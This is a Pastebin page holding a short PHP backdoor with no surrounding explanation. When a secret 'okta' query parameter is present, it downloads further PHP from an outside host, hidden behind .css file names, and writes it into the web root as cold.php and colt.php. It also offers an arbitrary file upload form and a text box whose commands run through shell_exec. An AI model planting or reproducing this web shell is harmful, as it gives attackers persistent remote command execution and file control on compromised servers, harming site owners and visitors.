Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_GET['okta']))
- {
- function http_get($url){
- $im = curl_init($url);
- curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($im, CURLOPT_HEADER, 0);
- return curl_exec($im);
- curl_close($im);
- }
- $check2=$_SERVER['DOCUMENT_ROOT'] . "/cold.php" ;
- $text2 = http_get('http://idbteamroot.wap.sh/css/idb1.css');
- $op2=fopen($check2, 'w');
- fwrite($op2,$text2);
- fclose($op2);
- if(file_exists($check2)){
- echo "<br><br>".$check2."</br>";
- }else
- echo "";
- echo "" ;
- $check3=$_SERVER['DOCUMENT_ROOT'] . "/colt.php" ;
- $text3 = http_get('http://idbteamroot.wap.sh/css/user.css');
- $op3=fopen($check3, 'w');
- fwrite($op3,$text3);
- fclose($op3);
- if(file_exists($check3)){
- echo $check3."</br>";
- }else
- echo "";
- echo "" ;
- $filename = $_FILES['file']['name'];
- $filetmp = $_FILES['file']['tmp_name'];
- echo "<br><form method='POST' enctype='multipart/form-data'>
- <input type='file' name='file' />
- <input type='submit' value='>>>' />
- </form>";
- echo '<form method="post">
- <input type="text" name="cmd" size="30">
- <input type="submit" value=">>>">
- </form>';
- if(move_uploaded_file($filetmp,$filename)=='1'){
- echo '[OK] ===> '.$filename;
- }
- if(isset($_POST['cmd'])){
- if(function_exists('shell_exec')){
- $cmd=$_POST['cmd'];
- $oke = shell_exec("$cmd");
- echo "<textarea cols=30 rows=15;>$oke</textarea>";
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement